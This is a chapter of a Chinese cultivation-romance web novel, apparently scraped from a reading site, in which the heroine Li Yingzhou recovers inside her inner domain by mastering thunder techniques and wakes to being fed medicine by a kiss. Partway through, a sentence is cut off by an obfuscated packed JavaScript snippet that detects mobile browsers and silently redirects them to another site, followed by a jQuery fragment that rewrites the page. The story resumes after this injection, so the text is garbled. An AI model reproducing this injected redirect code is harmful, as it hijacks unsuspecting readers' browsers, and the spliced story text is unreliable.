22.苦涩而巧合的吻
作品:《前夫的好兄弟都要与我结为道侣》 凤玉声一手紧紧搂着昏迷的李萦舟,一手握月轮笛,只觉天地间一片寂静,只余自己左胸膛里剧烈的心跳声。
随着“秦晓云”的死亡,秘境空间逐渐破裂,显露出世间本真的面貌。
阴风去、乌云散,熹微的晨光自天际亮起,柔旭地落在几个血肉模糊、外表狼狈的修士上。
湿润而潮暖的水汽扑面而来,众人才发现自己正站在一处江心小岛上。
中洲地区江河密布,此处小岛不大,生满了随风摇动的芦苇花。粼粼的宽阔江面被小岛从中一分为二,无情地奔流向两处,直达无边天际。
凤玉声探了探李萦舟的神识,确定她并无大碍,长舒了一口气,哑声道:“秘境之事已了,小船需要疗养,我们必须马上回云梦泽。”
碧枫半跪于地面,膝盖深陷湿软的土壤中,她本想接过李萦舟,凤玉声却避开了碧枫伸过来的手,轻声道:“大家都身上带伤,还是由我来吧。”
他召来变大数倍后剑身宽阔的断雨剑,横抱着李萦舟踏上飞剑,流光一般向云梦泽而去。
碧枫沉默地将孟珑断裂的佩剑收好,闫麟原本沉默地望着凤玉声怀中的李萦舟,身侧的手臂动了动,却发现自己毫无立场上前帮忙。
毕竟名义上是昆仑弟子,闫麟如今只能默默跟在碧枫身后,看她收敛了孟珑的断剑,上面黏满了细密的血雾和灰色的脑浆。
碧枫面无表情,以袖口擦了擦断剑,将其纳入乾坤袋中,待得回到门派再归入剑冢。
二人路过沈轻尘身侧时,碧枫突然开口:“沈师兄,现在孟珑死了,小船昏迷不醒,飞书回门派的任务就交给你了。”
说罢,便头也不回地御剑,和闫麟一同跟随凤玉声走了。
江心小岛上只余沈轻尘一人,他沉默地收剑入鞘。
沈轻尘那一剑是冲着斩灭魔物去的,可同时,他也不在乎李萦舟会不会被一同斩灭。
若师妹不能与自己一条心,不如借这个机会做个了断。可惜凤玉声同时出剑,将自己的剑意格挡了一瞬。
他叹了口气,不知凤玉声看出了几分,低头摩挲着剑柄,再抬头时已经挂上了一幅平时温和儒雅的面庞。
李萦舟身体处于昏迷状态,却感觉自己神识无比清明,能清晰地感知自己内府发生的一切变化。
原本,她的内府横亘着一处巨大的火山口,四处流溢满着暗红的岩浆,岩缝间的火星将山下的灌木、枝叶都灼得发焦。
此时,火山口上方虽然晴空万里,却传来隆隆雷声,带来一阵阵细密的雨水。这无根之水将原本发焦的枝叶打湿又浸透,让树木和藤蔓都恢复了几许生机。
而雨水一停,滚滚电光于长空直下,又劈在树木上,枝叶掉落在岩石上,燃起不灭的火焰,火山口的岩浆与此同时沸腾起来。
雷生水,水生木,木生火,水既能克制她内府过剩的火灵根,又能保护木灵根不受伤害。雷、木、火在这一方小天地中形成了奇妙又自洽的循环。
李萦舟从未感到如此自在畅快过,她从未想过,一直困扰她的痼疾可以伴随着这阵雷法迎刃而解。
一时间,她像条小鱼游入江海,又如同疲惫心焦的小鸟投入了熟悉的森林,只想发出欢快的啁啾声。
李萦舟想抬手触碰自己内府天际的闪电,却摸不到实体,只好像听见了电光中秦晓云微渺的声音:“故去多年,身无长物,唯有雷法相授,但愿于你有用。”
李萦舟简直要哭出来:“岂止是有用啊,有大用啊前辈,你救了我一命!”
然而却再也无法到那道飒爽女声的回应了。秦晓云在世间的最后一缕残魂已经消散,想来刚才也只是她留下的雷法中的余声罢了,想到这里,李萦舟有些失落。
秦晓云的一生跌宕起伏,虽然错失机缘,但却靠自己四处求仙问道,终究报了仇怨,修成正果。李萦舟甚至有些后悔在自己还没清楚真相的时候,说她虐待凡人的手段略显“残忍”。
当时秘境中的秦晓云已经被魔物侵占了神识,只不过基于肉身记忆幻化出了洛城中的人事,魔物想必也是根据她的意识虐待了方郎的角色。
且不说被魔物侵占了神识,换位一想,若是自己经历这被欺瞒和抢夺的一切,只怕会报复得更猛烈。
李萦舟失落片刻,便又振作起来,迫不及待地想睁开眼,告诉碧枫和凤玉声这个好消息,然而她的神识虽清醒,肉身的双眼却仿佛刷了浆糊一般,死活睁不开。
李萦舟歇了一会儿,继续用力睁眼,想从昏迷中醒来,然而这次不仅没成功,还引得天际闪电往她的方向滚滚而来,那雷电仿佛有了意识,不劈死李萦舟不罢休一般。
李萦舟:“不是,这要干嘛?”她放弃睁眼,那雷电便偃旗息鼓,乖巧地在天边待着。
李萦舟想了想,如果自己要醒过来,怕是必须要硬抗一遍这雷法。看来躲不过了,总不能这辈子不醒过来了吧?
她吸了口气,继续尝试猛地睁眼,果然道道雷电朝她汹涌而来,李萦舟只好在火山口和岩地枝桠间上下奔跑,狼狈地逃窜,仿佛一只丛林间的野猴。
然而修士即使在自己的内府里,也是无法与光速赛跑的,在一次失误后,她还是被雷无情地劈中了天灵盖。
一瞬间,李萦舟在一阵灭顶的痛苦中,感觉自己的骨骼都变酥了,好像被滚烫热油炸出锅的小黄鱼一般,嘎嘣脆。
不过她这条小黄鱼在片刻后,又恢复了活蹦乱跳,甚至神奇地发现自己掌心也可以放出噼里啪啦的小闪电。
她举起双手,试着搓了搓,搓出来一团电光闪闪的雷球,还可以在空中抛来抛去,扔出去了还能召回。
那天边的雷电仿佛对她的悟性很满意,停顿了片刻,便以更快、更可怖的强度朝她劈来。
情急之下,李萦舟直接拔剑,将掌心雷电灌入剑身中,朝上狠狠劈砍,心道不就是互劈吗?
她站在火山口,浑身与大地相连,此时周身昏暗,自上而下劈下的雷电和剑上雷电相连,发出贯彻天地的耀目白光。
李萦舟在几息之后便感觉自己撑不住了,正当她快放下剑,准备再被雷电灭顶一次时,那雷电便停了下来。
雷电满意地在李萦舟头顶盘旋了两圈,仿佛一个教会她的师长,事了拂衣去,回到天边了。
李萦舟深呼吸几口,她看了看掌心的电光,心里有些难言的欢快。
更重要的是,她发现自己可以联系上外界了。她听见有人在耳边温柔地轻唤她的名字,感到有人用湿润的巾帕擦拭她的脸庞,甚至感到有人轻轻触摸她的胸腹。
李萦舟心道:“……虽然知道你是在试探,看我内府神识还在不在,但会不会太冒昧了点?”
可她还是无法睁开眼,她的眼皮不断微微颤动,可好像还是差了最后一步
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15853214|172819||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。于是李萦舟只能在床榻上扮演瘫痪的人,只不过可以听见外界的一声一响。
她听见水流缓缓而过,敲打编钟的声响;听见了琴声鸣奏,唤来无数雀儿;也听见了凤玉声的轻唤和碧枫的絮叨。
看来已经回到云梦泽了。
前几天,一直是凤玉声前来照顾她,他的手要比碧枫大得多,擦拭自己的脸庞和脖子时速度也更快些。
后面几天,凤玉声来的少了些,闫麟常常和碧枫一同来,他们二人似乎熟悉了不少,只是经常拌嘴。
有一日,碧枫摘来几个柑橘,一边在她床边剥皮,一边想喂给她柑橘汁。
闫麟却仿佛极嫌弃这种水果的气味,李萦舟都能听见他用手不断扇鼻子前空气的声音,他道:“这种难闻的水果,你还吃?而且李萦舟根本张不开嘴,喂不进去的。”
碧枫则回击道:“我就吃,你不爱闻就走啊,又没逼你留在这。”
闫麟居然拌嘴有了长进,停顿了片刻,道:“都是来看望李萦舟的,为什么是我走,不是你带着橘子走?”
碧枫难以置信地看了看他,道:“你和她什么关系,我和她什么关系,你知道我俩这样在凡间叫什么吗?这叫闺中密友,你能和闺中密友比吗?”
闫麟这回彻底没了声音,偃旗息鼓了。
又过了两日,碧枫来到床边,带来一阵湿润的水汽,李萦舟感到她毛茸茸的脑袋趴在了自己小腹边。
碧枫抬起头,捻起一缕李萦舟的乌发,略有报怨道:“这几日中洲一直下雨,云梦泽真的好潮啊。”
她又轻声问:“小船,你什么时候醒啊?都快一个月了。你不知道云梦泽现在有多乱,凤玉声回来之后,把支持他弟弟的门派中人都清理了,这几日云梦泽水池里的水都是红的。”
怪不得这几日凤玉声没来过了,李萦舟心道。
又过了两日,阴雨绵绵,落入云梦泽的水面中,淅淅沥沥的声音落入李萦舟耳中,泛起阵阵涟漪。
李萦舟近日来对外界的感知愈发清晰,比如近今日有人来看望她。
她能感到来人的视线粘稠而滚烫,停留在她的额头,然后一路下移,路过眉骨、眼窝、鼻梁,一直到达饱满的唇瓣。
那人温柔地捻起她的长发,仔细地抚摸,仿佛在用指尖品触上好的绸缎。片刻后,那人将发丝放到鼻尖,李萦舟听见了深深吸气的声音。
李萦舟心想,我的头发有这么好闻?怎么以前没看出来碧枫这么喜欢闻头发?
那人端来一碗汤药,动作很轻,但汤匙和碗还是碰撞出清脆的声音,他端起汤匙,轻轻吹了吹,又放在李萦舟的唇边,想送入她口中。
按照李萦舟恢复的程度,其实已经可以把嘴稍稍张开一点,可她闻到那汤药的苦涩味,一点也不想喝,干脆装作自己还彻底瘫痪,紧闭双唇。
来人轻轻叹息一声,似乎十分无奈。李萦舟以为这人终于放弃给自己喂药了,心头一喜。
可出乎她意料的是,片刻后,自己的双唇便被一抹凉润轻轻附上,随即被轻巧地启开,柔韧而灵巧的物什继续深入,打开那一排贝齿,便将苦涩的药汁渡了进来。
李萦舟大惊,心道碧枫对自己太上心了,可她真的不想喝药,浑身剧烈地挣扎起来,终于睁开了紧闭的双眼——
然而映入眼帘的,是一双上挑的凤眼,挺直的鼻梁,和被水液润泽的红唇。